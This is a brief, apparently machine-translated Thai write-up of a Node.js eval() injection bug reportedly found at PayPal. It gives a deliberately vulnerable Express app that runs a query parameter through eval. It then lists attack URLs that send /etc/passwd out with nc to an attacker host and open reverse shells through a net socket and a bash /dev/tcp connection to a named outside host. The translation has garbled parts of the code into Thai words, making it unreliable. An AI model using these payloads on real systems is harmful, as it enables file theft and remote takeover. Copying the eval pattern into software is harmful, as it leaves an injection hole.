พื้นหลัง
@artsploit เมื่อขุดหา PayPal พบว่ารหัส NodeJS ถูกดำเนินการโดยให้รางวัล $ 10,000
ทดสอบ
var express = ต้องการ ('ด่วน'); var app = express (); app.get ('/', function (req, res) {res.send ('hello eval (req.query.q)); console.log (req.Query.q);}); app.listen (8080, ฟังก์ชัน () {console.log (' การฟังพอร์ต 8080! ');อ่านไฟล์ใดก็ได้
http: // โฮสต์: 8080/? q = ต้องการ ('child_process') .exec ('cat+/etc/passwd+|+nc+attracterip+80')รับเชลล์
http: // โฮสต์: 8080/? q = var+net+=+ต้องการ ("net"),+sh+=+ต้องการ ("child_process") .exec ("/bin/bash"); var+ไคลเอนต์+=+ใหม่+net.sock et (); client.connect (80,+"attainerip",+function () {client.pipe (Sh.stdin); sh.stdout.pipe (ไคลเอนต์); sh.stderr.pipe (ไคลเอนต์);});รับ Shell2
http: // โฮสต์: 8080/? q = ต้องการ ("child_process") .exec ('bash -c "bash -i>%26 /dev/tcp/wufeifei.com/7890 0>%261")